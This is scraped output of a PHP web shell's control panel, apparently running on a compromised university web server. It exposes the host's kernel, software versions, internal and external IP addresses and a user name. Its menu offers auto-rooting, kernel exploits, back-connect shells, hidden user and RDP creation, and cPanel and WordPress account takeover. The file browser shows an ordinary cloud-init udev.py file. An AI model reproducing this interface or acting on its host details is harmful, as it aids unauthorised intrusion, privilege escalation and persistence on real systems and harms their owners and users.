Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.143.4.111
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
cloudinit /
net /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
netops
[ DIR ]
drwxr-xr-x
__init__.py
41.92
KB
-rw-r--r--
activators.py
11.65
KB
-rw-r--r--
bsd.py
8.46
KB
-rw-r--r--
cmdline.py
9.13
KB
-rw-r--r--
dhcp.py
35.96
KB
-rw-r--r--
eni.py
20.88
KB
-rw-r--r--
ephemeral.py
21.5
KB
-rw-r--r--
freebsd.py
3.69
KB
-rw-r--r--
netbsd.py
1.41
KB
-rw-r--r--
netplan.py
20.73
KB
-rw-r--r--
network_manager.py
24.66
KB
-rw-r--r--
network_state.py
35.6
KB
-rw-r--r--
networkd.py
12.75
KB
-rw-r--r--
openbsd.py
2.48
KB
-rw-r--r--
renderer.py
1.64
KB
-rw-r--r--
renderers.py
1.78
KB
-rw-r--r--
sysconfig.py
43.97
KB
-rw-r--r--
udev.py
1.39
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : udev.py
# Copyright (C) 2015 Canonical Ltd. # # Author: Ryan Harper <ryan.harper@canonical.com> # # This file is part of cloud-init. See LICENSE file for license information. def compose_udev_equality(key, value): """Return a udev comparison clause, like `ACTION=="add"`.""" assert key == key.upper() return '%s=="%s"' % (key, value) def compose_udev_attr_equality(attribute, value): """Return a udev attribute comparison clause, like `ATTR{type}=="1"`.""" assert attribute == attribute.lower() return 'ATTR{%s}=="%s"' % (attribute, value) def compose_udev_setting(key, value): """Return a udev assignment clause, like `NAME="eth0"`.""" assert key == key.upper() return '%s="%s"' % (key, value) def generate_udev_rule(interface, mac, driver=None): """Return a udev rule to set the name of network interface with `mac`. The rule ends up as a single line looking something like: SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}="ff:ee:dd:cc:bb:aa", NAME="eth0" """ if not driver: driver = "?*" rule = ", ".join( [ compose_udev_equality("SUBSYSTEM", "net"), compose_udev_equality("ACTION", "add"), compose_udev_equality("DRIVERS", driver), compose_udev_attr_equality("address", mac), compose_udev_setting("NAME", interface), ] ) return "%s\n" % rule
Close